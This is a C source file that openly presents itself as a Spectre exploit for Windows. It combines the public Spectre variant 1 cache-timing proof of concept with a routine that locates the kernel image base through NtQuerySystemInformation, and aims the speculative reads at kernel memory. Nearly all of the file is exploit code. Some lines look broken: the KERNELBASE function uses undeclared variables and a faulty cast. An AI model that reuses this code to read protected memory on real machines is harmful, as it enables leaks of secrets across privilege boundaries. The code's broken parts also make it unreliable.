window_SpectreExploit_Test1.c

#pragma warning(disable:4996) // sleep prob


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#include <Windows.h>
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

typedef unsigned long(*NT_NtQuerySystemInformation)(
		_In_	  ULONG SystemInformationClass,
		_Inout_   PVOID                    SystemInformation,
		_In_      ULONG                    SystemInformationLength,
		_Out_opt_ PULONG                   ReturnLength
	);

NT_NtQuerySystemInformation NtQuerySystemInformation;


#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 // error code
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
	HANDLE Section;
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES
{
	ULONG NumberOfModules;
	RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;



int s_strcmp(const char *string1, const char *string2)
{
	char char1, char2;

	if ( string1==string2 )
		return 0;

	if ( string1==0 )
		return -1;

	if ( string2==0 )
		return 1;

	do {
		char1 = *string1;
		char2 = *string2;
		string1++;
		string2++;
	} while ( (char1 != 0) && (char1 == char2) );

	return (int)(char1 - char2);
}

void* KERNELBASE()
{
	PRTL_PROCESS_MODULES ModuleInfo = 0;
	ULONG ReturnLen = 1024;
	ULONG error = 0;
	void* KernelBase = 0;


	NtQuerySystemInformation = (NT_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

	if (!NtQuerySystemInformation){
		return 0;
        }
	do
	{
		Modules = (ModuleInfo)VirtualAlloc(NULL, retLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		error = NtQuerySystemInformation(0x0B,  // SystemModuleInformation aka 11 here...
						 Modules, ReturnLen, &ReturnLen);

		if ((error == STATUS_INFO_LENGTH_MISMATCH)  && Modules)
		{
				VirtualFree(Modules, 0, MEM_RELEASE);

		}

	} while (error == STATUS_INFO_LENGTH_MISMATCH);

	if (error != 0)
	{
		VirtualFree(Modules, 0, MEM_RELEASE);
		return 0;
	}

	for (; error < Modules->NumberOfModules; ++error)
	{

		if (!s_strcmp((const char*)Modules->Modules[error].FullPathName + Modules->Modules[error].OffsetToFileName, "ntoskrnl.exe"))
		{
			KernelBase = Modules->Modules[error].ImageBase;
			break;
		}


	}

	return KernelBase;

}




/********************************************************************
   Victim code.
   ********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
}


/********************************************************************
   Analysis code
  ********************************************************************/
#define CACHE_HIT_THRESHOLD 80 /* assume cache hit if time <= threshold */

  /* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
	static unsigned long long results[256];
	int tries, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t *addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;

	for (tries = 999; tries > 0; tries--) {

		/* Flush array2[256*(0..255)] from cache */
		for (i = 0; i < 256; i++)
			_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

				/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--) {
			_mm_clflush(&array1_size);
			for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

				/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
				/* Avoid jumps in case those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
			x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));

			/* Call the victim! */
			victim_function(x);
		}

		/* Time reads. Order is lightly mixed up to prevent stride prediction */
		for (i = 0; i < 256; i++) {
			mix_i = ((i * 167) + 13) & 255;
			addr = &array2[mix_i * 512];
			time1 = __rdtscp((unsigned int*)&junk); /* READ TIMER */
			junk = *addr; /* MEMORY ACCESS TO TIME */
			time2 = __rdtscp((unsigned int*)&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
				results[mix_i]++; /* cache hit - add +1 to score for this value */

		}

		/* Locate highest & second-highest results results tallies in j/k */
		j = k = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				k = j;
				j = i;

			}
			else if (k < 0 || results[i] >= results[k]) {
				k = i;

			}

		}
		if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
			break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

	}
	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t)j;
	score[0] = results[j];
	value[1] = (uint8_t)k;
	score[1] = results[k];

}



int main(int argc, const char **argv) {
	size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */
	int i, score[2], len = 40;
	uint8_t value[2];

	for (i = 0; i < sizeof(array2); i++)
		array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */

	malicious_x = ((unsigned long long)KERNELBASE() - (unsigned long long)array1);

	printf("Reading %d bytes:\n", len);
	while (--len >= 0) {
		printf("Reading at malicious_x = %p... ", (void*)malicious_x);
		readMemoryByte(malicious_x++, value, score);
		printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
		printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
		if (score[1] > 0)
			printf("(second best: 0x%02X score=%d)", value[1], score[1]);
		printf("\n");

	}
        getchar(); // shit sleep

	return (0);
}